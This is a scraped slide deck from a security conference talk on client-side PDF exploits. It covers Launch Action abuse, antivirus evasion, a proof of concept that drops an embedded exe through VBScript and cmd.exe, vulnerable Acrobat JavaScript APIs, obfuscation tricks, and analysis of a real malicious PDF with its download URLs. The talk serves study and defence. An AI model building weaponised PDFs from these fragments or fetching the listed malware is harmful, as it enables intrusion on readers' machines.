Client Side Exploits Using Pdf

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

BY, ANKUR BHARGAVA (INFOSYS TECHNOLOGIES LIMITED) TAMAGHNA BASU (SECURITY RESEARCHER) Client Side Exploits using PDF C0C0N...

Contents About PDF Launch Action Exploits AcroJs Exploits Road Ahead Tools and References

About PDF <ul><li>What is PDF? </li></ul><ul><li>Incidents in the wild </li></ul><ul><li>Why pdf attcks? </li></ul><ul><li...

Potentially Dangerous File / Penetration Document Format <ul><li>Stands for Adobe Portable Document Format </li></ul><ul><...

Adobe PDF – As a programming language <ul><li>PDF document is more than a powerful document format </li></ul><ul><li>Has a...

Adobe PDF – Security Issues

2010: Still Continuing…

2010: Still Continuing… March April May June

Incidents in the wild <ul><li>Jun 14 CVE-2010-1297 PDF Adobe 0-Day WEO from [email_address] </li></ul><ul><li>Jun 20 CVE-...

The Reign of Zeus: <ul><li>Zeus (also known as Zbot, PRG, Wsnpoem, Gorhax and Kneber) is a Trojan horse that steals bankin...

The Reign of Zeus <ul><li>A recent breakthrough in spreading Zeus via PDF files threatens to further the spread of Zeus. T...

Popular in malwaredomainlist.com

Apple iPhone / iPad / iPod Code Execution and Sandbox Bypass <ul><li>VUPEN ID - VUPEN/ADV-2010-1992 </li></ul><ul><li>Rele...

Why PDF <ul><li>Popularity and usability </li></ul><ul><li>Flexibility, platform independent, rich text </li></ul><ul><li>...

PDF document structure <ul><li>The general structure of a PDF file is composed of the following code components: header, b...

PDF Document Structure PDF Header Objects Trailer Body Cross reference Table

Launch Action <ul><li>Launch Action Api </li></ul><ul><li>Some Examples </li></ul><ul><li>Evading Antivirus </li></ul><ul>...

Launch Action Vulnerability <ul><li>A launch action launches an application or opens or prints a document. Following are...

Launch Action Vulnerability <ul><li>PARAMETERS </li></ul><ul><li>F : byte string </li></ul><ul><li>(Required) The file ...

Launch Action Vulnerability <ul><li>Open command prompt </li></ul>Open website

Launch Action Vulnerability <ul><li>Open notepad.exe </li></ul>

Launch Action Vulnerability

Launch Action Vulnerability <ul><li>Changing the message </li></ul>

Launch Action Vulnerability Confidential Data!! If You are Authorized Click on 'Open'. Check 'Do Not Show This Message Aga...

Launch Action Vulnerability

Launch Action in 9.3.3

Launch Action Vulnerability

Evading Antivirus by Changing the format <ul><li>You can take any other PDF data type and give it a number by wrapping it ...

Evading Antivirus <ul><li>What You Can Leave Out </li></ul><ul><ul><li>All Page data </li></ul></ul><ul><ul><li>All Whites...

Evading Antivirus <ul><li>%PDF-1. </li></ul><ul><li>trailer<</Root<</Pages<<>>/OpenAction<</S/Launch/Win<</F(cmd.exe)/P<0A...

Evading Antivirus

POC: Launching an Embedded exe <ul><li>Step 1 : Embed the hex content of the exe in a vbscript which extracts it out to t...

Step 1 : Embed the hex content of the exe in a vbscript <ul><li>Dim b,bl </li></ul><ul><li>Function c(d) </li></ul><ul><li...

Step 2 : Embed the vbscript in the pdf file as comments <ul><li>%'SS </li></ul><ul><li>%Dim b,bl;Set WshShell = Function c...

Step 3 : Launch cmd.exe and create another script <ul><li>/c echo Set fso=CreateObject("Scripting.FileSystemObject&qu...

Generated VBScript <ul><li>Set fso=CreateObject("Scripting.FileSystemObject") </li></ul><ul><li>Set f=fso.OpenT...

AcroJS <ul><li>AcroJs Api </li></ul><ul><li>Vulnerable Api’s </li></ul><ul><li>Obfuscation Techniques </li></ul><ul><li>C...

AcroJS <ul><li>Acrobat JavaScript is the cross-platform scripting language of the Adobe® Acrobat® family of products. </li...

JavaScript Actions <ul><li>A JavaScript action causes a script to be compiled and executed by the JavaScript interpreter...

Acrojs examples launchURL Alertbox

Acrojs examples

Acrojs examples

Vulnerable APIs <ul><li>getIcons() [CVE-2009-0927] </li></ul><ul><ul><li>Stack-based buffer overflow in Adobe Reader and ...

Vulnerable APIs <ul><li>getAnnots() [CVE-2009-1492] </li></ul><ul><ul><li>The getAnnots Doc method in the JavaScript API ...

Vulnerable APIs <ul><li>Doc.media.newPlayer [CVE-2009-4324] </li></ul><ul><ul><li>Use-after-free vulnerability in the Doc....

Obfuscation Techniques <ul><li>Why? </li></ul><ul><ul><li>To make analysis more difficult </li></ul></ul><ul><ul><li>To av...

Javascript Obfuscations : Unlearn Coding Ethics

Distorting format Normal Code Obfuscated Code function execute(data, time) { Timelag=5000; if (time > Timelag) { // some...

Obfuscating Identifiers Normal Code Obfuscated Code function execute(data, time) { Timelag=5000; if (time > Timelag) { /...

Obfuscating Identifiers – Even Worse Differentiating with number of underscore characters function _____(____,__________) ...

$Obfuscating Identifiers – Even Worse Differentiating with number of underscore characters function _____(____,__________){...$

Chain of Eval Normal Code Obfuscated code app.alert(“c0c0n”) func="eval"; one='app.alert("c0c0n")'; tw...

$Splitting Javascript Normal code Obfuscated Code app.alert(“hello world”); Rt=“);”; Td=“ert(\”hel”; Ab=“ap”; Qw=“ld\””; Kg...$

Callee Trick Function accesses its own source and uses it as a key to decrypt code or data function decrypt(cypher) { var ...

Pdf obfuscations <ul><li>Using Filters for streams. </li></ul><ul><li>Most common encoding techniques - </li></ul><ul><ul>...

Case Study <ul><li>Malware found from - www.malwaredomainlist.com </li></ul><ul><li>File link www.bigiqwars.ru/ppp/exp/pd...

Virus total Reports 5/42(11.90%)

<ul><li>Analysis </li></ul>

STEP-1 <ul><li>WGET www.bigiqwars.ru/ppp/exp/pdf.php?user=admin&pdf_acces=on </li></ul>

STEP-2 <ul><li>Behavioral Analysis </li></ul><ul><li>Environment </li></ul><ul><li>By using vm image </li></ul><ul><li>Fil...

STEP-3 <ul><li>Pdfid.py </li></ul>

STEP-4 <ul><li>Static/Code Analysis </li></ul>

Word Editor

Decoded the script

Formatted using jsbeautifier.org

Replacing with meaningful identifiers and removing unnecessary comments

<ul><li>Replacing ‘X’ from parameter </li></ul>

Shellcode Analysis Connecting to… http://bigiqwars.ru/ppp/exe.php?spl=PDF (newPlayer)&user=admin&exe_acces=on

Road Ahead <ul><li>Mitigations </li></ul><ul><li>Adobe’s security Measures </li></ul><ul><li>Future Exploit methods </li><...

How can we protect ourselves <ul><li>Enable automatic updates: it sounds simple, but you will need to turn it on in the so...

Road Ahead <ul><li>Focus Less on javascript exploits </li></ul><ul><li>Attackers focusing more on embedded objects inside ...

Tools And References

Tools used <ul><li>Malzilla </li></ul><ul><li>Mozilla addon </li></ul><ul><ul><li>javascript deobfescator by Wladimir Pala...

References <ul><li>www.malwaredomainlist.com </li></ul><ul><li>www.adobe.com/ </li></ul><ul><li>www.bigiqwars.ru/ppp/exp/p...

References continued.. <ul><li>http://www.marketwire.com/ </li></ul><ul><li>http://www.symantec.com/ </li></ul><ul><li>htt...

$Thank you <ul><li>Tamaghna Basu </li></ul><ul><ul><li>[email_address] </li></ul></ul><ul><ul><li>twitter.com\titanlambda <...$